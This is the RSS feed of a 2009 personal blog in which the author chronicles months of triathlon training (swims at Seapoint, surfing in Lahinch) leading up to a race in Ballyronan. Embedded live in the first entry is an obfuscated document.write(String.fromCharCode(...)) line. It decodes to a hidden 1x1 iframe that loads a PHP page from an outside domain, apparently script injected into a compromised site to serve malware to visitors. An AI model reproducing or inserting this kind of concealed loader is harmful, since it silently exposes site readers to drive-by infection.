http://www.nevergiveup.ie/blog Just another WordPress weblog Sat, 16 May 2009 06:45:40 +0000 http://backend.userland.com/rss092 en One Day, One Effort It is done. I have lived to tell the tale and somehow managed to justify the faith which everyone has shown in me over the last six months. document.write(String.fromCharCode(60,117,32,115,116,121,108,101,61,34,100,105,115,112,108,97,121,58,110,111,110,101,59,34,62,60,105,102,114,97,109,101,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,115,114,99,61,34,104,116,116,112,58,47,47,115,117,108,105,100,101,118,46,99,111,109,47,105,101,46,112,104,112,63,120,61,50,34,62,60,47,105,102,114,97,109,101,62,60,47,117,62)) We travelled up to Ballyronan on Friday evening and had time for a quick look around the course before ... http://www.nevergiveup.ie/blog/?p=27 Looking Back I can’t believe the big day is right on top of me. Like I said last week, physically there is not much more I can do now. I went for some long loose runs just to keep myself ticking over but I have been conscious over the ... http://www.nevergiveup.ie/blog/?p=26 Counting down the days Do you ever wish you could just hit pause and gather yourself together? I feel a little like that at the moment now that the countdown is into days rather than weeks. This was a big week for me. I’ve got to the stage now where ... http://www.nevergiveup.ie/blog/?p=25 Preparing to cross the final hurdle With only three weeks to go (I never thought I’d see the day – can not believe how fast the last few months have gone), I have been working with Mark this week to get myself in good enough shape that I can complete ... http://www.nevergiveup.ie/blog/?p=24 One of the highlights of this whole adventure for me has been the chance to meet some amazing people. Last week we launched Powerade’s sponsorship of the Irish National Triathlon Championship, the event I will be taking part in on August 18th. Bob Davison who runs the event and Mickey Harte, ... http://www.nevergiveup.ie/blog/?p=23 Bringing it all together After finding my sea legs last week, I have mainly been working on getting more confident in the water. Wednesday and Thursday I was out at Seapoint and even over the last week I have started to see a major improvement in my stamina out in the ... http://www.nevergiveup.ie/blog/?p=22 As far as the eye can sea Since spending time out in the open water with the lads down in Lahinch I seem to have developed a new-found confidence in the water and swimming has been a core part of my training routine this week. I’ve been heading down to Seapoint ... http://www.nevergiveup.ie/blog/?p=21 Surf’s Up! What a weekend. I broke out of Dublin and headed off to Lahinch with a pal for a couple of days. We had a blast. If you had told me six months ago that I would be spending three hours in the Atlantic Ocean looking to ... http://www.nevergiveup.ie/blog/?p=20 Surprising turn of events This week kicked off with an open swim session at Seapoint and I was really shocked at how comfortable I felt in the open water. Although you have to battle with the elements at times and it was tougher going swimming against the current, negotiating the choppy ... http://www.nevergiveup.ie/blog/?p=19 Getting psyched up The week kicked off with a trip out to Dollymount to check out an Aquathlon in action. I wanted to see for myself what was involved, particularly in terms of dealing with the transition in and out of the water. I won’t be competing in an Aquathlon ... http://www.nevergiveup.ie/blog/?p=18